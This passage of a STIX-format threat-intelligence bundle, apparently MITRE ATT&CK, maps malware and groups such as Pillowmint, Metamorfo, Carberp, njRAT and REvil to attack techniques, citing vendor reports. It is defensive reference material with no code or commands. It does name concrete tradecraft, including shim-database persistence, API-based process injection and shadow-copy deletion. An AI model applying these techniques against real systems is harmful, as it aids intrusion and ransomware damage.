            "created": "2020-07-24T13:48:49.763Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "external_references": [
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can load DLLs into memory.(Citation: Gh0stRAT ATT March 2019)",
            "relationship_type": "uses",
            "id": "relationship--02d4ee3d-adb9-49fc-8e91-3379c508692b",
            "type": "relationship",
            "modified": "2020-07-24T13:48:49.761Z",
            "created": "2020-07-24T13:48:49.761Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) can iterate through running processes every six seconds collecting a list of processes to capture from later.(Citation: Trustwave Pillowmint June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--8977c8db-64e4-44b5-bee9-362779624a42",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.467Z",
            "created": "2020-07-27T15:20:50.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has been compressed and stored within a registry key. [Pillowmint](https://attack.mitre.org/software/S0517) has also obfuscated the AES key used for encryption.(Citation: Trustwave Pillowmint June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--426db174-3cc4-4f9c-ae34-6398a86ec3bd",
            "type": "relationship",
            "modified": "2020-10-06T17:25:07.403Z",
            "created": "2020-07-27T15:20:50.270Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has been decompressed by included shellcode prior to being launched.(Citation: Trustwave Pillowmint June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--abece522-51dc-4904-b0f9-585db7fb0223",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.487Z",
            "created": "2020-07-27T15:20:50.275Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has encrypted stolen credit card information with AES and further encoded it with Base64.(Citation: Trustwave Pillowmint June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--efea6d26-7372-45bb-81bb-1e300abd5b13",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.481Z",
            "created": "2020-07-27T15:20:50.286Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has stored its malicious payload in the registry key <code>HKLM\\SOFTWARE\\Microsoft\\DRM</code>.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--332ce4cd-311a-457f-ae10-6d8e3ef7bc77",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.568Z",
            "created": "2020-07-27T15:20:50.519Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used multiple native Windows APIs to execute and conduct process injections.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--9ac9325d-067d-4936-9c8d-159e21bd04c4",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.572Z",
            "created": "2020-07-27T15:20:50.521Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used a malicious shim database to maintain persistence.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--09896887-98ee-4e8a-9cc2-4203b3b561c8",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.564Z",
            "created": "2020-07-27T15:20:50.525Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
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                }
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                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Talos Promethium June 2020",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has named services to appear legitimate.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)",
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
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                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "description": "[StrongPity](https://attack.mitre.org/software/S0491) has named services to appear legitimate.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)",
            "relationship_type": "uses",
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) can enumerate all windows on the victim\u2019s machine.(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)",
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has collected the hostname and Operating System version from the system.(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)",
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            "id": "relationship--8a8afe63-a754-40e3-98af-cfc3f0aa6ef5",
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used VBS code on victims\u2019 systems.(Citation: FireEye Metamorfo Apr 2018)",
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                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created new services and modified existing services for persistence.(Citation: Bitdefender StrongPity June 2020)",
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                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) collects a list of installed antivirus software from the victim\u2019s system.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--0f5c39a8-edc1-4da2-941a-56e17b32abe4",
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                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a command to launch a keylogger on the victim\u2019s machine.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--0c2259d0-2d56-4bbc-bd98-e35ac991b6e8",
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            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used VMProtect to pack and protect files.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--c9747fcc-b249-49cc-8f8b-aad9e89bdc31",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "external_references": [
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function to receive data from the system clipboard.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--787f09c0-92fe-4208-96e8-86c8e45c9a40",
            "type": "relationship",
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        {
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            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
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                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                },
                {
                    "source_name": "Trusteer Carberp October 2010",
                    "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf",
                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has exfiltrated data via HTTP to already established C2 servers.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)",
            "relationship_type": "uses",
            "id": "relationship--30c0f7aa-473d-42c3-81ff-f39c6f21ee52",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "external_references": [
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has hooked several Windows API functions during its Man in the Browser attack to steal credentials.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
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            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "external_references": [
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has queued an APC routine to explorer.exe by calling ZwQueueApcThread.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--63a09269-0546-4613-b746-0e1f8dac7d5b",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
                    "source_name": "Trend Micro njRAT 2018"
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) can read specific registry values.(Citation: Trend Micro njRAT 2018)",
            "relationship_type": "uses",
            "id": "relationship--2bc482f0-f5ee-433c-81bd-566ef8a8d7a6",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
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                    "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
                    "source_name": "Trend Micro njRAT 2018"
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) has used HTTP to receive stolen information from the infected machine.(Citation: Trend Micro njRAT 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--b5f8197f-d703-461a-ba51-6e7749dd8367",
            "type": "relationship",
            "modified": "2020-10-08T18:47:57.839Z",
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                }
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                    "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."
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                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Group IB Ransomware May 2020",
                    "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html",
                    "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                }
            ],
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                }
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                },
                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Picus Sodinokibi January 2020",
                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
                    "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                }
            ],
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                    "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Cylance Sodinokibi July 2019",
                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Talos Sodinokibi April 2019",
                    "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee REvil October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/",
                    "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Picus Sodinokibi January 2020",
                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
                    "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
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                    "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Cylance Sodinokibi July 2019",
                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                }
            ],
            "description": "[REvil](https://attack.mitre.org/software/S0496) has the ability to identify specific files and directories that are not to be encrypted.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)",
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
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                    "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
                },
                {
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                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
                    "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
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                }
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            "description": "[REvil](https://attack.mitre.org/software/S0496) can use the Windows command line to delete volume shadow copies and disable recovery.(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)",
